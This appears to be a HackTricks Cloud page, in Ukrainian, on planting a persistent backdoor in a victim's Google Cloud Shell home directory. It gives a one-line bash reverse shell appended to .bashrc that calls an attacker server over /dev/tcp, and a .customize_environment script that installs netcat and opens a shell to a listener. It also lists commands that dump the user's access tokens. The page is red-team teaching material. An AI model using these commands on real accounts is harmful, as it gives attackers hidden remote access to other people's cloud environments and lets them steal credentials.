GCP - Cloud Shell Persistence
Reading time: 4 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Cloud Shell
Для отримання додаткової інформації перегляньте:
Постійний бекдор
Google Cloud Shell надає вам доступ до командного рядка ваших хмарних ресурсів безпосередньо з вашого браузера без будь-яких супутніх витрат.
Ви можете отримати доступ до Cloud Shell Google з веб-консолі або запустивши gcloud cloud-shell ssh
.
Ця консоль має деякі цікаві можливості для атакуючих:
- Будь-який користувач Google з доступом до Google Cloud має доступ до повністю автентифікованого екземпляра Cloud Shell (Службові облікові записи можуть, навіть будучи власниками організації).
- Цей екземпляр зберігатиме свою домашню директорію принаймні 120 днів, якщо не буде жодної активності.
- Немає можливостей для організації моніторити активність цього екземпляра.
Це в основному означає, що атакуючий може помістити бекдор у домашню директорію користувача, і поки користувач підключається до GC Shell принаймні кожні 120 днів, бекдор виживе, і атакуючий отримає оболонку щоразу, коли вона запускається, просто виконавши:
echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc
В домашній папці є ще один файл під назвою .customize_environment
, який, якщо існує, буде виконуватись щоразу, коли користувач отримує доступ до cloud shell (як у попередній техніці). Просто вставте попередній бекдор або один з наступних, щоб підтримувати стійкість, поки користувач "часто" використовує cloud shell:
#!/bin/sh
apt-get install netcat -y
nc <LISTENER-ADDR> 443 -e /bin/bash
warning
Важливо зазначити, що перший раз, коли виконується дія, що вимагає аутентифікації, у браузері користувача з'являється вікно авторизації. Це вікно потрібно прийняти, перш ніж команда зможе виконатися. Якщо з'явиться несподіване вікно, це може викликати підозру і потенційно скомпрометувати метод збереження.
Це вікно з'являється при виконанні gcloud projects list
з cloud shell (як атакуючий), яке видно в сеансі браузера користувача:
.png)
Однак, якщо користувач активно використовував cloudshell, вікно не з'явиться, і ви можете збирати токени користувача за допомогою:
gcloud auth print-access-token
gcloud auth application-default print-access-token
Як встановлюється з'єднання SSH
В основному, використовуються ці 3 API виклики:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (дозволить вам додати ваш публічний ключ, який ви створили локально)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (дозволить вам запустити екземпляр)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (повідомить вам IP адресу google cloud shell)
Але ви можете знайти додаткову інформацію в https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
Посилання
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.